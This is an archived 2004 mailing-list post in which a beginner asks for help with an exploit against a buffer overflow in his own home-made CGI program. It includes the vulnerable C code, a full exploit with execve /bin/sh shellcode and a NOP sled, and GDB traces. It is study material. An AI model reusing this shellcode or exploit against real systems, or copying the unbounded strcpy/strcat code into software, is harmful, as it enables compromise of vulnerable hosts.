OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Problem exploiting a CGI overflow

From: Víctor Henríquez (vhenriquezgrancanaria.com)
Date: Tue Nov 23 2004 - 08:18:11 CST


Hi, I'm new in this world. I discover several buffer overflow problems in some
of our home-made apps. I try to exploit this but I have a rare problem.

--- Vuln Code (post2.c) ---
#include <stdio.h>
#include <string.h>
int main()
{
   void split(char *line);
   char line1[500],line2[500];
   strcpy(line2,"");
   while (!feof(stdin))
   {
      scanf("%s",&line1);
      strcat(line1," ");
      strcat(line2,line1);
   }
   split(line2);
   printf("bye\n");

}
void split(char *line)
{
   char txt[500];
   char *p;
   strcpy(txt,line);
}
---
$ cc post2.c -o post.cgi -ggdb
$ perl -e 'print "A"x520' | ./post.cgi
Violación de segmento (core dumped)
$ gdb post.cgi core
gdb: Symbol `emacs_ctlx_keymap' has different size in shared object, consider
re-linking
Core was generated by `./post.cgi'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()

Well... I'm trying overflow the strcpy() in split().

--- exploit code ---
#include <stdlib.h>
#include <stdio.h>

#define DEFAULT_ADDRESS 0xbffff4d4
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 520
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
   char *buff, *ptr;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i;
   FILE *out;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (!(buff = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = DEFAULT_ADDRESS + offset;
   printf("Using address: 0x%x\n", addr);
   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = addr;

   for (i = 0; i < bsize/2; i++)
      buff[i] = NOP;
   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];
   buff[bsize - 1] = '\0';

   if ((out = fopen("buffer", "w")) == NULL)
   {
      perror("fopen");
      exit(-1);
   }

   fprintf(out, "%s", buff);
   fclose(out);

   return 1;
}
---

Now the problem...

$ echo "AAA" | ./post.cgi
bye

$ cc exploit.c -o exp

$ ./exp
Using address: 0xbffff4d4

$ cat buffer | ./post.cgi

Really he execute other code, but not the shellcode. More GDB now...

$ gdb post.cgi

(gdb) r < buffer
Starting program: /home/victor/laboratory/gsi/post-dev/post.cgi < buffer

Breakpoint 1, split (line=0xbffff6e0 '\220' <repeats 200 times>...) at post2.c:
21
21 strcpy(txt,line);
(gdb) info f
Stack level 0, frame at 0xbffff6b8:
 eip = 0x804859d in split (post2.c:21); saved eip 0x804857f
 called by frame at 0xbffffac8
 source language c.
 Arglist at 0xbffff6b8, args: line=0xbffff6e0 '\220' <repeats 200 times>...
 Locals at 0xbffff6b8, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff6b8, eip at 0xbffff6bc
(gdb) x 0xbffff6bc
0xbffff6bc: 0x0804857f
(gdb) n
22 }
(gdb) x 0xbffff6bc
0xbffff6bc: 0xbffff4d4 // Ret Changed!!
(gdb) x/100 0xbffff4d4
0xbffff4d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff504: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff514: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff524: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff534: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff544: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff554: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x1feb9090
0xbffff5b4: 0x0876895e 0x4688c031 0x20468907 0xf38920b0
0xbffff5c4: 0x8d084e8d 0x80cd2056 0xd889db31 0xe880cd40
0xbffff5d4: 0xffffffdc 0x6e69622f 0xbf68732f 0xbffff4d4
0xbffff5e4: 0xbffff4d4 0xbffff4d4 0xbffff4d4 0xbffff4d4
0xbffff5f4: 0xbffff4d4 0xbffff4d4 0xbffff4d4 0xbffff4d4

// Shellcode is in position...
(gdb) n

Program exited normally.

What's happen!?

I discover that the shellcode change during his execution. Yeah, some bytes of
the shellcode change while is running. Why?? How can avoid this?

Thanks in advance

--
Víctor Henríquez

-------------------------------------------------
Este email ha sido enviado a través de http://www.grancanaria.com